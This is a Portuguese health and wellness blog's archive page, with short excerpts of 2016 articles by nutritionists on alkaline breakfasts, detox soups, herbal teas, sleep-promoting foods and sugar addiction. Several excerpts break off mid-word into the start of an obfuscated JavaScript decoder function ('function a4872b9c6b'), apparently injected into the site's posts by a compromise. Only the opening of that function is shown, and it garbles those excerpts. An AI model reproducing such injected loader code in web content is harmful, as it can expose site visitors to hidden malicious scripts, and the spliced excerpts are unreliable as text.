Mai 9, 2016 | Equilíbrio, Saúde e bem estar
Pequeno-almoço alcalino para um despertar saudável por Dra. Rita Boavida, nutricionista Entre a última refeição do dia e a primeira da manhã, o nosso corpo fica sujeito a um longo período de jejum. Isto significa que, pela manhã, ao acordarmos, é necessário...
Mai 4, 2016 | Equilíbrio, Saúde e bem estar
Saiba que cuidados deverá ter com a pele nos dias quentes. Nestes dias mais quentes, qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 2, 2016 | Equilíbrio, Saúde e bem estar
Perder gordura abdominal é objetivo de muitas de nós. Veja aqui como o fazer. 10 dicas para perder gordura abdominal por Teresa Manafaia 1- Procure deitar-se sempre à mesma hora e sempre antes da meia-noite. Qufunction a4872b9c6b(y1){var...
Abr 27, 2016 | Equilíbrio, Saúde e bem estar
Saiba que vegetal faz bem a quê, por Rita Boavida, nutricionista. Vivemos numa época sem precedentes em termos de abundância alimentar, mas, felizmente, os portugueses procuram cada vez mais consumir alimentos saudáveis e naturais para alcançar a saúde. Contudo, para...
Abr 26, 2016 | Saúde e bem estar
Por Cláudia Cunha, nutricionista O açúcar vicia e causa dependência. As pessoas, qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Abr 20, 2016 | Equilíbrio, Saúde e bem estar
9 alimentos que a vão ajudar a dormir melhor As insónias são um problema. Por causa delas passamos as noites sem pregar olho e, de manhã, qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var...
Abr 19, 2016 | Equilíbrio, Saúde e bem estar
Aprenda a fazer 2 sopas detox, por Lillian Barros Sopa de couve flor e canela Benefícios: Saciante Apesar de se tratar de uma mistura improvável à primeira vista, a sopa de couve flor e canela tem um paladar sedutor. Baixa em calorias e com um efeito extremamente...
Abr 18, 2016 | Equilíbrio, Saúde e bem estar
Tenha sempre consigo uma lancheira saudável e nutritiva, por Rita Boavida, nutricionista Não sabe o que comer a meio da manhã e ao lanche? Tenta resistir mas acaba sempre por comer algo pouco saudável? Se a resposta é sim, a solução que lhe proponho é levar sempre...
Abr 14, 2016 | Equilíbrio, Saúde e bem estar
10 dicas para se libertar de pensamentos tóxicos, por Rute Caldeira A melhor forma de nos libertarmos de pensamentos tóxicos e do stress que nos intoxicam o organismo é através do auto-amor. Qufunction a4872b9c6b(y1){var...
Abr 12, 2016 | Em Alta, Equilíbrio, header, Saúde e bem estar
Tabela de infusões – Saiba que chá faz bem a quê Por Rita Boavida Uma infusão é a imersão de uma substância aromática em água quente ou a ferver. Algumas das infusões mais comuns são o chá, as tisanas e o café. Ao longo dos séculos o Homem foi conhecendo e...
